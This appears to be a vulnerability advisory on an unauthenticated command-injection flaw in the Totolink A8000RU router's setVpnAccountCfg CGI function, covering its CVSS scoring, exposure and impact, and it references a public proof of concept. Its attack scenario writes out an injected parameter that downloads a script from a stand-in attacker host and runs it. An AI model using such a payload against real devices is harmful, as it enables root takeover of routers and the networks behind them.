Totolink A8000RU EUVD-2026-26010

Remote unauthenticated exploitation against default configurations of Totolink A8000RU firmware 7.1cu.643_b20200521. The CGI web interface at /cgi-bin/cstecgi.cgi must be network-accessible, which is the default state for router management interfaces. No authentication is required per the CVSS vector (PR:N), indicating the vulnerable setVpnAccountCfg function is either accessible without login or bypasses authentication checks. No user interaction is needed (UI:N). The only limiting factor is that the specific firmware version 7.1cu.643_b20200521 must be running; other firmware versions are not confirmed vulnerable based on current data. Devices not exposed to untrusted networks (WAN or guest LANs) face reduced but not eliminated risk, as LAN-based attackers can also exploit this vulnerability.

This represents a critical real-world risk requiring immediate attention. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms the worst-case scenario: network-accessible, low complexity attack requiring no authentication or user interaction. The E:P (Proof-of-concept) metric is confirmed by the GitHub repository containing exploit code, lowering the skill barrier for attackers. While not yet in CISA KEV (suggesting targeted rather than mass exploitation to date), the attack surface is enormous - any internet-exposed A8000RU router is vulnerable. Consumer routers are notoriously difficult to patch at scale due to lack of automatic updates and user awareness. The full CIA impact (VC:H/VI:H/VA:H) means attackers gain complete device control, enabling network pivoting, traffic interception, DNS hijacking, botnet recruitment, and persistent backdoor installation. The absence of EPSS data prevents probabilistic risk modeling, but the combination of public exploit, zero authentication, and embedded device target suggests high likelihood of opportunistic scanning and exploitation. This is not a theoretical risk - it is an immediately exploitable vulnerability in a consumer-grade device class frequently exposed to the internet.

An attacker conducts internet-wide scanning for Totolink A8000RU devices by fingerprinting the web interface on TCP port 80/443. Upon identifying a target, the attacker crafts an HTTP POST request to /cgi-bin/cstecgi.cgi with a malicious User parameter containing shell metacharacters (e.g., User=admin;wget http://attacker.com/backdoor.sh -O /tmp/bd;sh /tmp/bd). The setVpnAccountCfg function executes this input as part of a system command without sanitization, resulting in arbitrary command execution as root. The attacker establishes persistence by modifying startup scripts, then pivots to internal network reconnaissance and data exfiltration. The publicly available GitHub POC (https://github.com/Litengzheng/vuldb_new2/blob/main/A8000RU/vul_324/README.md) provides ready-to-use exploit code, requiring minimal technical skill to weaponize.